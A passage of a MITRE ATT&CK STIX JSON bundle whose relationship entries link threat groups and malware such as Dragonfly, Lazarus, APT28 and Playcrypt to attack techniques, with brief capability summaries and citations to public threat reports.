2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23d2aa8e-0b95-4714-8b76-b1a0735ffdeb","type":"relationship","created":"2020-11-19T18:02:58.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.410Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has used HTTP and HTTPS for C2 communications.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23dac679-c865-49d6-8e44-06014515cecb","type":"relationship","created":"2020-03-09T14:51:11.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:51:11.860Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23df34a9-9705-4efa-9f8f-90f4bcb1a310","type":"relationship","created":"2021-12-06T16:10:28.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.927Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23df6015-0167-481c-84aa-3d15d3e38a85","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-30T03:05:20.914Z","description":"Data [SPACESHIP](https://attack.mitre.org/software/S0035) copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.916Z","description":"[RTM](https://attack.mitre.org/software/S0148) can record keystrokes from both the keyboard and virtual keyboard.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23ebaddf-0f99-4ed9-9aa4-39577490fa81","created":"2022-07-25T17:04:18.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:18:13.669Z","description":"[Mongall](https://attack.mitre.org/software/S1026) has relied on a user opening a malicious document for execution.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23f12b64-a938-4cf7-97ab-81e90ee3992d","created":"2024-09-25T17:22:54.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:01:51.249Z","description":"[Playcrypt](https://attack.mitre.org/software/S1162) encrypts files on targeted hosts with an AES-RSA hybrid encryption, encrypting every other file portion of 0x100000 bytes.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"malware--28ad4983-151e-4e30-9792-768470e92b3e","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23f36f2f-9bc4-4c95-a75b-65e5c74aed88","created":"2021-01-22T18:38:21.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.418Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used [PsExec](https://attack.mitre.org/software/S0029) to deploy beacons on compromised systems.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23f656c7-600f-46a7-8185-0edf45299bac","type":"relationship","created":"2021-03-31T15:38:55.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:38:55.052Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can run whoami to identify the system owner.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23faa436-b299-4b94-9284-fe80d6c5d312","type":"relationship","created":"2020-12-22T18:36:12.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:34:37.870Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can execute arbitrary shell commands on the victims' machines.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23fe4e74-9a8e-40e6-99c0-25eb00775a89","type":"relationship","created":"2020-12-11T16:00:14.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-11T16:00:14.836Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has compromised legitimate web browser updates to deliver a backdoor. (Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Securelist Sofacy Feb 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.407Z","description":"(Citation: FireEye APT28)(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24021025-b5db-4ebb-89cb-49fe5c4d709e","created":"2023-01-13T21:08:24.127Z","revoked":false,"external_references":[{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-13T21:08:24.127Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has lured users into opening malicious files delivered via social media.(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--240496c0-5e33-47e1-b422-b05a18f4ec2d","created":"2021-04-07T14:56:45.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.836Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) has the ability to use Smart Applet attacks to disable the Java SecurityManager sandbox.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--240b044f-89b4-4009-bbf6-04b1f0bb6385","created":"2022-07-14T17:35:45.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:34:11.013Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has checked for a variety of antivirus products.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--240ba2e0-c718-4327-a6a6-cb35d6145c35","type":"relationship","created":"2020-08-19T17:34:47.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:20.986Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used Windows Video Service as a name for malicious services.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--240bb721-0dc0-472a-ac81-01348e573015","created":"2023-04-10T21:33:00.962Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T21:33:00.962Z","description":"If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--241c2c47-3659-4899-bf5b-64f0ed94c916","type":"relationship","created":"2020-06-26T13:46:14.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-26T13:46:14.290Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used fake personas on social media to engage and target victims.(Citation: SANS Windshift August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--242236fe-a0b6-4cf0-b604-beb57ce9925a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.609Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to obtain the time zone information and current timestamp of the victim’s machine.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2426519f-c915-4c8f-8164-0d93dbbf0be1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","source_name":"McAfee Lazarus Resurfaces Feb 2018"},{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"modified":"2022-03-23T16:57:13.819Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2426fc7d-5d97-4563-9889-d079ed36b4cf","type":"relationship","created":"2021-06-22T13:21:51.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:21:51.329Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to put itself to \"sleep\" for a specified time.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--242a60b4-114e-4dc5-9577-72dfd375a93c","created":"2023-02-23T18:14:11.248Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:14:11.248Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malicious DLLs to spread malware to connected removable USB drives on infected machines.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--242de5f8-7944-4fdd-af87-a5da0050e7c3","type":"relationship","created":"2021-05-26T20:05:23.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"url":"https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html","description":"Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.","source_name":"FireEye APT28 Hospitality Aug 2017"}],"modified":"2021-10-18T20:34:05.691Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has obtained and used open-source tools like [Koadic](https://attack.mitre.org/software/S0250), [Mimikatz](https://attack.mitre.org/software/S0002), and [Responder](https://attack.mitre.org/software/S0174).(Citation: Palo Alto Sofacy 06-2018)(Citation: Securelist Sofacy Feb 2018)(Citation: FireEye APT28 Hospitality Aug 